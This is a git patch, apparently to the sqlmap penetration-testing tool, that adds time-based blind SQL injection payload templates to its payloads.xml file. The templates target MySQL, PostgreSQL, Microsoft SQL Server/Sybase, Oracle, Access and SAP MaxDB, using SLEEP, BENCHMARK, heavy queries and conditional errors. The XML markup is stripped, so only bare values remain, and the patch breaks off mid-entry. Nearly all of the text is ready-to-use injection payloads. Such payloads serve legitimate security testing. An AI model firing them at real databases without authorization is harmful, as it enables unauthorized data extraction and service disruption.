From 243a905788bf98d1f8e8e0954ff343d5f344f63d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 17 Jul 2012 23:07:16 +0100 Subject: [PATCH] more on issue #97 --- xml/payloads.xml | 199 ++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 198 insertions(+), 1 deletion(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 95366ff29..ff129c8fb 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -76,7 +76,7 @@ Tag: 2: Error-based SQL injection 3: UNION query SQL injection 4: Stacked queries SQL injection - 5: AND/OR time-based blind SQL injection + 5: Time-based blind SQL injection Sub-tag: From which level check for this test. @@ -2836,6 +2836,203 @@ Formats: + + + MySQL time-based blind - Parameter replace (MAKE_SET) + 5 + 3 + 1 + 1,2,3 + 3 + MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) + + MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (ELT) + 5 + 4 + 1 + 1,2,3 + 3 + ELT([INFERENCE],SLEEP([SLEEPTIME])) + + ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+ + + + MySQL time-based blind - Parameter replace (bool*int) + 5 + 4 + 1 + 1,2,3 + 3 + ([INFERENCE])*SLEEP([SLEEPTIME]) + + ([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME]) + + + + +
+ MySQL +
+ + + + MySQL >= 5.0 time-based blind - Parameter replace + 5 + 3 + 1 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + + + + +
+ MySQL + >= 5.0 +
+ + + + MySQL < 5.0 time-based blind - Parameter replace (heavy queries) + 5 + 4 + 2 + 1,2,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + + + + +
+ MySQL +
+ + + + + PostgreSQL time-based blind - Parameter replace (GENERATE_SERIES) + 5 + 3 + 2 + 1,2,3 + 3 + (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1) + + (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1) + + + + +
+ PostgreSQL +
+ + + + Microsoft SQL Server/Sybase time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+ + + + Oracle time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) + + + + +
+ Oracle +
+ + + + Microsoft Access time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + IIF([INFERENCE],[ORIGVALUE],1/0) + + IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) + + + + +
+ Microsoft Access +
+ + + + SAP MaxDB time-based blind - Parameter replace + 5 + 3 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + + +
+ SAP MaxDB +
+ + + + MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses